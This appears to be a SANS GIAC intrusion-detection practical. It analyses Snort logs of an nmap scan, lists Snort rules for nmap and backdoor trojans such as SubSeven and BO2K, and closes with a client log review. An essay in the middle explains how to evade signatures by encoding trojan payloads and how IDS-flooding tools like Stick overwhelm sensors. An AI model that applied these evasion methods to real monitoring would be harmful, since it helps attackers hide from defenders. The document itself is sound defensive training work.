Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:465 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:2120 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:825 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:103 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:752 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:1500 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:5193 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:533 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:147 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:867 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:1650 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:718 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:1493 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:7 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:1397 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:1521 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:1463 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:531 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:826 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:841 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:5002 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:5717 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:1348 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:590 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:1990 FIN *******F
Mar  2 15:29:56 a.b.c.220:34589 -> x.y.z.24:484 FIN *******F

[**] ICMP Nmap2.36BETA or HPING2 Echo  [**]
03/02-15:30:55.656810 a.b.c.220 -> x.y.z.24
ICMP TTL:42 TOS:0x0 ID:37672 IpLen:20 DgmLen:28
Type:8  Code:0  ID:27962   Seq:0  ECHO

[**] SCAN nmap fingerprint attempt [**]
03/02-15:32:45.170811 a.b.c.220:57490 -> x.y.z.24:7
TCP TTL:39 TOS:0x0 ID:15153 IpLen:20 DgmLen:60
**U*P*SF Seq: 0x6811544  Ack: 0x0  Win: 0x1000  TcpLen: 40  UrgPtr: 0x0
TCP Options (5) => WS: 10 NOP MSS: 265 TS: 1061109567 0 EOL

[**] SCAN nmap TCP [**]
03/02-15:32:45.171132 a.b.c.220:57491 -> x.y.z.24:7
TCP TTL:39 TOS:0x0 ID:11065 IpLen:20 DgmLen:60
***A**** Seq: 0x6811544  Ack: 0x0  Win: 0x1000  TcpLen: 40
TCP Options (5) => WS: 10 NOP MSS: 265 TS: 1061109567 0 EOL

[**] SCAN nmap fingerprint attempt [**]
03/02-15:32:49.733206 a.b.c.220:57490 -> x.y.z.24:7
TCP TTL:39 TOS:0x0 ID:55372 IpLen:20 DgmLen:60
**U*P*SF Seq: 0xBF61B95  Ack: 0x0  Win: 0x1000  TcpLen: 40  UrgPtr: 0x0
TCP Options (5) => WS: 10 NOP MSS: 265 TS: 1061109567 0 EOL
```

1.5.1 What is the source of the trace?
The source of the trace is my network.

1.5.2 What generated the detect data?
A Snort sensor running Windows 98 positioned between key infrastructure machines and users/clients generated the trace. There are 2 parts to the detect. The first part was taken from the portscan.log which is generated by Snort's portscan pre-processor plug-in. This is only a brief excerpt of the traffic sent to the victim. There were over 1500 packets sent in less than 2 seconds. The second part of the trace is taken from alert.ids and was generated by the following rules:

```
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP Nmap2.36BETA or
HPING2 Echo ";itype:8;dsize:0; reference:arachnids,162;)

alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"SCAN nmap fingerprint
attempt";flags:SFPU; reference:arachnids,05;)

alert tcp $EXTERNAL_NET any -> $HOME_NET any (msg:"SCAN nmap TCP";flags:A;ack:0;
reference:arachnids,28;)
```

1.5.3 What is the probability that the source address was spoofed?
There is a possibility that the source address was spoofed since nmap does come with the built in ability to send decoy packets. These decoy packets are spoofed packets that nmap sends to try and confuse an IDS by presenting it with similar traffic from 2 or more different hosts. This technique is especially effective if all of the hosts are up. In this case, all of the packets were received from one host decreasing the probability that the packets are spoofed.

1.5.4 Describe the attack.
The scan is appears to be against all known ports ranging from Trojans to known services such as http and ftp. The specific tool used appears to be nmap. NMAP has a CVE number of CAN-1999-0454.

1.5.5 What is the attack mechanism?
Nmap works by sending port scans to many different ports at once. Nmap collects any return information and uses it to build a profile of the victim. Nmap also uses combinations of TCP flag settings to probe the remote system to identify its operating system. Most operating systems will respond in a certain way when presented with a certain set of TCP flags. This technique is called fingerprinting. Knowing what operating system the remote machine is running is very useful information for an attacker. Note that during the FIN scan portion the tool never changes the source port. Later during the operating system fingerprinting the tool uses different source ports.

After running the nmap tool the attacker may have a good idea of what services are offered by the victim as well as what operating system it is running. Nmap will also report to the attacker how hard the TCP prediction of the remote machine is. All of this information will allow the attacker to tailor his next attack at a specific platform.

1.5.6 Correlations to other attacks or data

This particular detect has never been seen before. Several sites have reported seeing similar nmap scans including http://www.sans.org/y2k/072700.htm, http://www.sans.org/y2k/062200.htm, http://www.sans.org/y2k/053100-1100.htm, http://www.sans.org/y2k/062100-1030.htm.

1.5.7 Is there evidence of active targeting?

There is evidence of active targeting since no other machines on the same subnet were scanned. This machine hosts Microsoft Exchange mail services.

1.5.8 What is the severity of the attack?

(5+3) – (3+1) = 4

Critical – 5 – this is a key infrastructure device hosting all internal email and scheduling
Lethal – 3 – although this is only a scan a lot of useful information could have been gathered such as operating system and vulnerable services
System Countermeasures – 3 – system has latest service packs and hot fixes applied but is running unnecessary services
Network Countermeasures – 1 – no firewall or router ACL's in place to block unnecessary traffic

1.5.9 Defensive recommendations.

Create ACL's on router to block traffic to unnecessary ports. Remove unneeded services from exchange server.

1.5.10 Create a multiple choice question.

[**] SCAN nmap fingerprint attempt [**]
03/02-15:32:45.170811 a.b.c.220:57490 -> x.y.z.24:7
TCP TTL:39 TOS:0x0 ID:15153 IpLen:20 DgmLen:60
**U*P*SF Seq: 0x6811544 Ack: 0x0 Win: 0x1000 TcpLen: 40 UrgPtr: 0x0
TCP Options (5) => WS: 10 NOP MSS: 265 TS: 1061109567 0 EOL

The above packet has an illegal TCP flags combination because:
A) Urgent and Push are set together
B) Urgent cannot be set with any other flags
C) FIN cannot be set with any other flags
D) SYN and FIN are set together

2.0 Assignment 2

Reliance on Snort and the evolving Signature

2.1 Introduction

Many corporate networks and corporate security policies rely heavily on intrusion detection to alert administrators of intrusion. With all of the features of modern intrusion detection systems there are some tragic flaws inherent in their design. These weaknesses apply to Snort and all other signature based intrusion detection engines. Snort is singled out in this paper because of its popularity and its familiarity amongst the SANS community.

2.2 What is Snort

Snort is an intrusion detection system written by Martin Roesch. Snort is was written as an open source project and is available for free under the GNU public license. The software is based upon a signature comparison engine optimized for speed. Snort offers many features that make it an ideal choice in the battle against Internet intruders. Here is a description of Snort from the Snort website:

> Snort is a lightweight network intrusion detection system, capable of performing real-time traffic analysis and packet logging on IP networks. It can perform protocol analysis, content searching/matching and can be used to detect a variety of attacks and probes, such as buffer overflows, stealth port scans, CGI attacks, SMB probes, OS fingerprinting attempts, and much more. Snort uses a flexible rules language to describe traffic that it should collect or pass, as well as a detection engine that utilizes a modular plugin architecture.

2.3 The power of Snort

Snort was written to take advantage of a highly modularized design. The application can take advantage of several different pre-processors to normalize, filter, and categorize data. Snort also has very powerful post-processors, or output plug-ins, that can be used to log the data generated by Snort in several different ways. Because Snort is an open source project and that it has many users its signature database is updated often and are simple to update.

2.4 How Signatures Work

Understanding how signatures work is essential to understanding how to defeat them. When Snort is given an incoming packet from the packet capture driver it compares that packet to its database of known signatures. The signature has some key aspect of the packet that it is compared against to look for a match. If a match occurs than Snort sends the output to a standard output mechanism or to one of the configured post-processor output plug-ins. For example if Snort received the following packet then it would compare it against its database:

```
03/21-13:02:34.978853 10.1.114.88:1272 -> 10.1.114.220:54320
TCP TTL:128 TOS:0x0 ID:48408 IpLen:20 DgmLen:44 DF
******S* Seq: 0x2BC3D9  Ack: 0x0  Win: 0x2000  TcpLen: 24
TCP Options (1) => MSS: 1460
```

and match it to rule:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 54320 (msg: "BACKDOOR SIG - BO2K";)
```

This event would trigger an alert message. Most signatures do not just look for what port a packet is to or from, but it also examines part of the payload. As new security holes and exploits are found new signatures are written to counteract the danger.

2.5 The problem with signatures

What Snort and other signature based intrusion detection systems count on is that malicious traffic will have unique patterns to it that can be matched against rules in the database. For example Snort uses the following rule to look for the SubSeven Trojan:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 27374 (msg: "BACKDOOR SIG - SubSseven
22"; flags: A+; content: "|0d0a5b52504c5d3030320d0a|"; reference:arachnids,485;)
alert
```

The important part of this rule to note is that Snort is looking for the hex signature "0d 0a 5b 52 50 4c 5d 30 30 32 0d 0a" that is located anywhere in the payload of the packet.

It then seems obvious that there are many ways of circumventing this signature. The first thing that we could do is vary the destination port. This is usually undesirable though since the infected machine is probably using the default port for SubSeven to make it easier to scan for. If the attacker knows what port SubSeven should be running on then they could quickly and easily scan large blocks of addresses for machines listening on that port. The next evasion technique that an attacker could use would be change or scramble the content that the sensor is looking for. This could be accomplished by using some very simple form of encryption. Here is how a simple packet encryption might work:

1st byte of the packet payload is the value to be added to every subsequent byte. If we use 3 then our payload of "0d 0a 5b 52 50 4c 5d 30 30 32 0d 0a" becomes "31 3d 8e 85 83 7f 81 63 63 65 31 3e" which does not mach any of the known signatures. The attacker has now evaded our intrusion detection system. Another twist of this technique could incorporate public key/ private key encryption. The private key for the server and the public key for the client could be sent or bundled with the original install. This would render all communication between the 2 hosts unintelligible and undetectable by intrusion detection systems.

2.6 How did that go again?

New techniques are also being developed to change how the executable code that runs Trojans and other applications looks. As reported in a recent ZDNET article:

> During a seminar last week at the CanSecWest conference in Vancouver, British Columbia, a hacker named "K2" revealed a program he created that can camouflage the tiny programs that hackers generally use to crack through system security.

According to K2 himself, "This is a way to keep the exploits brand-new, all the time." This raises the possibility that there is not enough time to update the signatures for an IDS as the signatures change. Already freely available to hackers are tools to "repack" the executables that they use. This repacking changes the executable so that it is no longer recognizable to anti-virus and intrusion detection engines.

2.7 Attacks on services

Snort and other intrusion detection systems do excel in detecting attacks on services that require an exploit that cannot be encrypted. Attacks like this would include buffer overflows, directory traversal, and scanning attempts. These types of attacks rely on existing flaws within the victim machine. These flaws can typically only be exploited using a certain attack mechanism that will have a certain signature. In these cases signature based intrusion detection does very well at detecting these patterns and alerting or stopping them.

The problem with intrusion detection as it relates to attacks on services is that it may take some time for a new exploit to become known. After the exploit is known then a new signature can be written for it and distributed. This leaves many systems vulnerable to unknowing attack for a certain period of time. It is possible that a well-executed attack will leave no trace of intrusion thereby rendering all of the effort placed into intrusion detection wasted. IDS are also hurt by a lack of supporting data for attacks that were not immediately recognized. The author of Stick, Cortez Giovanni says:

> Also, most IDS do not start recording an attack until an alarm is triggered. This means that the original flaw that allowed access will not be recorded. Some IDS buffer that data, so that the IDS will have the last X number of bytes before the alarm to see what occurred before it. Regardless, IDS do not usually record packet in great detail due to the recording requirements on IO and remote management.

2.8 Denial of Service

Although denial of service attacks are typically associated with individual machines or networks, it is also possible to apply denial of service techniques against signature based intrusion detection systems. Jerry Marsh states one such possible technique in an article he wrote:

> many NIDS systems work by alerting someone when suspected exploits are happening. As was demonstrated at the October 2000 Monterey SANS conference, this can be thwarted by information overload. In this example the attacker created so many "noise" attack attempts that people watching for attacks were overloaded. The real attack was injected in the middle of the noise and completed before it could be determined what the real target was.

This is just one method of implementing a denial of service attack against an intrusion detection system.

Another possible method of implementing a denial of service against an IDS would be to exhaust the resources of that IDS. This denial of service would flood the IDS with traffic that will generate alerts until the IDS runs out of resources. This would cause the IDS to have an incomplete log of the events that took place. Here is the post of an author who claims to have written a tool to automatically overwhelm IDS systems.

The tool uses the Snort rule set and produces a C program via lex that when compiled will produce an IP packet capable of triggering that rule from a spoofed IP range (or all possible IP addresses) into a target IP range. A function is produced for each rule and a loop then executes these rules in a random order. The tool currently produces these at about 250 alarms per second. A Linux based snort will hit 100% CPU and start dropping packets. The stress on recording and disk IO is another problem. ISS Real Secure dies two seconds after the attack begins. This was tested numerous times. Other IDS and even sniffers (especially with DNS lookups) had problems of their own.

2.9 Conclusion

Although signature based IDS do provide a useful service to let an administrator know that he/she has been or is being attacked they should not be relied upon. It is far too easy to fool or shut down an IDS machine for them to be utilized as the primary line of defense against intruders. Some recommendations that have been given by Lawrence R. Halme and R. Kenneth Bauer in their article "AINT Misbehaving: A Taxonomy of Anti-Intrusion Techniques" are to use the following practices in conjunction with intrusion detection:

- Prevention
- Preemption
- Deterrence
- Deflection
- Countermeasures

Intrusion detection should be part of a defense in depth strategy and no single tool or technology should be relied upon exclusively.

3.0 Assignment 3 – Analyze This

Dear GIAC Enterprises:

My company wishes to thank you for the opportunity to review your network logs and give an analysis based upon those logs.

Overview

We noticed several areas of interest within your network as well as from outside your network. There were 194,039 alerts generated on your Snort sensor in the logs provided. Many of these alerts were generated by the Watchlist 000220 IL-ISDNNET-990517 rule. This rule accounted for over 105,000 alerts. Your site was scanned many times for various services that may be running on your network. Here is a list of all of the alerts generated on your Snort sensor:

Signature	# Alerts	# Sources	# Destinations
SITE EXEC - Possible wu-ftpd exploit - GIAC000623	1	1	1
Happy 99 Virus	1	1	1
STATDX UDP attack	1	1	1
site exec - Possible wu-ftpd exploit - GIAC000623	2	2	2
Probable NMAP fingerprint attempt	8	5	6
External RPC call	59	15	25
Back Orifice	77	10	71
TCP SMTP Source Port traffic	100	5	88
Broadcast Ping to subnet 70	154	24	1
connect to 515 from inside	159	10	98
SUNRPC highport access!	204	25	19
SMB Name Wildcard	515	93	171
Russia Dynamo - SANS Flash 28-jul-00	546	2	2
NMAP TCP ping!	558	47	156
SNMP public access	591	20	7
Queso fingerprint	710	52	72

Null scan!	826	527	173
Attempted Sun RPC high port access	2053	16	23
WinGate 1080 Attempt	2239	474	572
Watchlist 000222 NET-NCFC	2401	31	19
connect to 515 from outside	4238	10	2877
Tiny Fragments - Possible Hostile Activity	5340	27	13
DNS udp DoS attack described on unisog	16146	8	6
SYN-FIN scan!	51192	37	27067
Watchlist 000220 IL-ISDNNET-990517	105918	46	100

Russia Dynamo
On July 28th 2000 Steven Northcutt from SANS issued a flash for all sites to block traffic to and from 194.87. We see that you set up a rule to monitor traffic to and from that subnet. It appears as though on 12/8 at 15:36 194.87.6.38 downloaded a song via Napster from your network. The amount of traffic would seem to coincide with the transfer of one song (~6MB).

12/08-15:37:12.356256 194.87.6.38:2478-> 255.255.205.138:6699

12/08-15:36:30.735338 255.255.205.138:6699-> 194.87.6.38:2478

This traffic appears to be nothing to worry about.

Site Exec Exploit
There are 3 alerts for possible site exec vulnerabilities. The 3 sites that were the destinations of these alerts do not appear to be running FTP servers. This appears to the scan traffic that generated the alerts.

Happy 99 Virus
It appears as though the Happy 99 virus was transmitted to one of your mail servers which is MY.NET.6.47. It is recommended that you scan any machines that may have retrieved this virus from the mail server.

Probable NMAP fingerprint attempt
The following hosts showed up under the NMAP fingerprint attempt and also received additional scans indicating that they have more than likely been fingerprinted:

- MY.NET.105.20
- MY.NET.201.220
- MY.NET.209.78
- MY.NET.98.154
- MY.NET.98.147
- MY.NET.217.146

External RPC call
Several hosts were scanned for RPC services from the outside. One of these machines included a mail server.

Back Orifice
There appear to have been several scans of your network looking for the Back Orifice Trojan. The largest of these scans came from 209.94.199.202, 62.136.71.93, and 209.94.199.143. There appears to be little evidence of active targeting by these 3 hosts. However, 216.99.200.242 appears to have targeted one specific machine with several different probes, this may be of interest.

TCP SMTP Source Port traffic
Several hosts performed different scans of your network using port 25 as the source port. This was probably done to try and avoid IDS systems that could possibly view this as the sending of mail by a machine within your network. There was also an instance where another server may have transferred mail to you using a source port of 25. Using a source port of 25 is unusual but not out of the question.

Broadcast Ping to subnet 70
On 12/1 there was a somewhat coordinated attack by multiple IP addresses against the broadcast of your subnet 70. There were approximately 90 ping packets sent to that address by different address. This does not appear to be a denial of service attack. It is advised that you filter IP directed broadcast packets at your border routers if at all possible. This is something that should be monitored further.

Connect to 515 from inside
Connecting to port 515 from inside is not necessarily a bad thing since the unix print spooler resides on this port. There were several attempts by machines within your network to access port 515 on destinations outside of your network.

SUNRPC highport access!
3 machines on your network appear to run services on port 32771.

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)
MY.NET.213.158	104	663	7
MY.NET.99.51	42	49	2
MY.NET.98.199	19	22	1

If any of these machines are not running services on this port than they should be immediately examined.

SMB Name Wildcard
It is common for misconfigured Windows machines to attempt name wildcards after connecting to a machine for a different purpose. Much of this traffic from the outside appears to come from Gothenburg University. If you do not have a formal agreement with this location about sharing files than you may wish to contact the administrator. These may also just be misconfigured windows machines.

NMAP TCP ping!
MY.NET.70.38 performed an extensive scan of the MY.NET.0 subnet using a tool that could be NMAP. Several of your machines were actively targeted with NMAP TCP pings.

SNMP public access
Many of your machines were accessed via SNMP. If you are going to continue managing these machines through SNMP then you should change the community string to a more secure one. You also had many SNMP accesses by machines that belong to the NASA Goddard Space Flight Center. If they are not supposed to be remotely administering any of your machines you should contact an administrator there to find out why this access is occurring.

Queso fingerprint
There are several hosts that have launched reconnaissance attacks against your network using the popular Queso scanning tool. The Technische Universitaet Dresden has done a significant amount of scanning against your network. It is worth mentioning that MY.NET.219.114 was completely scanned on a large amount of ports by 206.65.191.129.

Attempted Sun RPC high port access
There are several machines on the AOL network (205.188) that may be misconfigured and attempt to access services on machines in your network that do not offer that service. This machine attempts to connect to 4 different machines in the report period on port 32771. Due to the large number of exploits available for its services, RPC high port access should be block by a firewall or router if not absolutely needed.

WinGate 1080 Attempt
MY.NET.208.22 appears to be hosting a Wingate server as there are many attempts to access that service by several different hosts. The remainder of the traffic appears to be random port scans.

Tiny Fragments - Possible Hostile Activity
There was a denial of service attack carried out against MY.NET.217.162 by 65.4.87.43 between 19:34 and 19:47 on 1/12. Also notable is that there may be been another denial of service attack carried out against MY.NET.1.8 and MY.NET.1.10 by machines from networks that are from Shanghai.

Watchlist 000222 NET-NCFC
Machines from this network routinely access your mail services.

Watchlist 000220 IL-ISDNNET-990517
There is a significant amount of traffic between your site and this network. There are many file transfers such as Napster, and other ports that have no known reference. If there is no need to receive traffic from this network you may wish to consider blocking all traffic from this network.

Gnutella
There are several hosts on your network that frequently use the Gnutella file sharing service on port 6346.

Machines of Interest

MY.NET.6.15
The machine MY.NET.6.15 appears as though it may have been compromised. There are several instances other than the STATX UDP attack that draw attention to this machine. The machine appears to have been probed on port 111 and may have responded that it had an open port on 32776 where it may have been attacked. This machine also received several SMB wildcard request which could indicate that it is file sharing over the Internet. The machine may have been sending back information about the network if it has Samba or File and print sharing on. The same machine also has several instances of calls to high RPC ports possibly indicating that it has an open service available. Also, there were possibly successful attempts to connect to ports 1, and 555.

MY.NET.202.94
This machine exhibits signs of compromise as well. This machine received the most probes from back orifice as well as receiving a lot of Wingate 1080 traffic. Also notable about this host is that it is seen communicating with machines on your watch list on unknown ports. This machine should be investigated for compromise.

MY.NET.60.11
This machine has probably been compromised. There was a large telnet exchange between this machine and a machine on your watch list. This machine may also be hosting proxy services on port 1080 and other service on port 6144.

209.67.50.203
This machine appears to have carried out a DNS denial of service attack on 1/6 against your DNS servers. This machine sent over 16,000 packets in just over 2 hours. This attack was carried out by futuresite.register.com. This machine may have been compromised.

3.1 Methods
The first step that I took was to break the logs apart into a more readable format. For this I used SnortSnarf. Rather than view all of the alert logs separately I decided to combine

all of the logs together into one big log file. I also wanted to get rid of MY.NET so that SnortSnarf would be able to correctly generate the hyper links to allow easy browsing of the results.

To replace MY.NET and combine all of the log files together I used the following commands:

```
For sfile in 'ls S*.txt'
Do
Sed 's/MY.NET/255.255/g' >alert.ids
Done
```

I then used SnortSnarf to parse the log file and create a HTML page for easy viewing using:

```
Perl snortsnarf.pl alert.ids
```

I also used grep occasionally to search through the log files for specific events.

4.0 References

[1] Srisuresh, P. and M. Holdrege. "IP Network Address Translator (NAT) Terminology and Considerations." RFC 2663. August 1999. http://www.geektools.com/rfc/rfc2663.txt (20 Mar. 2001)

[2] "What is Snort." http://www.snort.org/what_is_snort.htm (2 Apr. 2001)

[3] Lemos, Robert. "New cloaked code threat to security." April 2, 2001. http://www.zdnet.com/zdnn/stories/news/0,4586,5080532,00.html (3 Apr. 2001)

[4] Marsh, Jerry. "Myths Managers believe about Security." January 25, 2001. http://www.sans.org/infosecFAQ/start/myths.htm (2 Apr. 2001)
[5] Giovanni, Cortez. "Fun with Packets: Designing a Stick." http://www.eurocompton.net/stick/ (2 Apr. 2001)

[6] Halme, Lawrence R. and Bauer, R. Kenneth. "AINT Misbehaving: A Taxonomy of Anti-Intrusion Techniques." http://www.sans.org/newlook/resources/IDFAQ/aint.htm (2 Apr. 2001)
[7] Posting on Snort users mailing list by Cortez Giovanni.

From: Cortez [mailto:coretez@8THPORT.COM]
Sent: Wednesday, March 07, 2001 3:17 PM
To: FOCUS-IDS@SECURITYFOCUS.COM
Subject: Re: Statefull inspection on IDS - Stick

Over the last couple months I've been finishing up work on a tool called stick. I was planning to release a paper in the coming week and the tool in a month or two from now when IDS vendors have had time to make modifications to handle it. The tool uses the Snort rule set and produces a C program via lex that when compiled will produce an IP packet capable of triggering that rule from a spoofed IP range (or all possible IP addresses) into a target IP range. A function is produced for each rule and a loop then executes these rules in a random order. The tool currently produces these at about 250 alarms per second.
A Linux based snort will hit 100% CPU and start dropping packets. The stress on recording and disk IO is another problem. ISS Real Secure dies two seconds after the attack begins. This was tested numerous times. Other IDS and even sniffers (especially with DNS lookups) had problems of their own.
I will be trying to release the code to IDS vendors over the next couple of months in order for them to make changes they see fit. The tool was initially designed to test bandwidth and stress on IDS, but it obviously can be used in a malicious manner and that is not my intent. A draft paper can be seen at http://www.eurocompton.net/stick/ ... please ignore the spelling and grammar changes. A more technical paper and analysis will hopefully be briefed at Blackhat if DT approves it.

Coretez G.

Last Updated: July 22nd, 2017

Upcoming Training

SANS San Antonio 2017	San Antonio, TX	Aug 06, 2017 - Aug 11, 2017	Live Event
SANS Boston 2017	Boston, MA	Aug 07, 2017 - Aug 12, 2017	Live Event
SANS Virginia Beach 2017	Virginia Beach, VA	Aug 21, 2017 - Sep 01, 2017	Live Event
SANS Adelaide 2017	Adelaide, Australia	Aug 21, 2017 - Aug 26, 2017	Live Event
SANS Network Security 2017	Las Vegas, NV	Sep 10, 2017 - Sep 17, 2017	Live Event
SANS vLive - SEC503: Intrusion Detection In-Depth	SEC503 - 201709,	Sep 11, 2017 - Oct 18, 2017	vLive
Baltimore Fall 2017 - SEC503: Intrusion Detection In-Depth	Baltimore, MD	Sep 25, 2017 - Sep 30, 2017	vLive
SANS London September 2017	London, United Kingdom	Sep 25, 2017 - Sep 30, 2017	Live Event
SANS Baltimore Fall 2017	Baltimore, MD	Sep 25, 2017 - Sep 30, 2017	Live Event
Community SANS Scottsdale SEC503	Scottsdale, AZ	Oct 02, 2017 - Oct 07, 2017	Community SANS
SANS October Singapore 2017	Singapore, Singapore	Oct 09, 2017 - Oct 28, 2017	Live Event
Community SANS Ottawa SEC503	Ottawa, ON	Oct 16, 2017 - Oct 21, 2017	Community SANS
SANS Berlin 2017	Berlin, Germany	Oct 23, 2017 - Oct 28, 2017	Live Event
SANS Seattle 2017	Seattle, WA	Oct 30, 2017 - Nov 04, 2017	Live Event
San Diego Fall 2017 - SEC503: Intrusion Detection In-Depth	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	vLive
SANS San Diego 2017	San Diego, CA	Oct 30, 2017 - Nov 04, 2017	Live Event
SANS Paris November 2017	Paris, France	Nov 13, 2017 - Nov 18, 2017	Live Event
Community SANS Pensacola SEC503	Pensacola, FL	Nov 27, 2017 - Dec 02, 2017	Community SANS
SIEM & Tactical Analytics Summit & Training	Scottsdale, AZ	Nov 28, 2017 - Dec 05, 2017	Live Event
SANS Cyber Defense Initiative 2017	Washington, DC	Dec 12, 2017 - Dec 19, 2017	Live Event
SANS Security East 2018	New Orleans, LA	Jan 08, 2018 - Jan 13, 2018	Live Event
SANS Las Vegas 2018	Las Vegas, NV	Jan 28, 2018 - Feb 02, 2018	Live Event
SANS Dallas 2018	Dallas, TX	Feb 19, 2018 - Feb 24, 2018	Live Event
SANS OnDemand	Online	Anytime	Self Paced
SANS SelfStudy	Books & MP3s Only	Anytime	Self Paced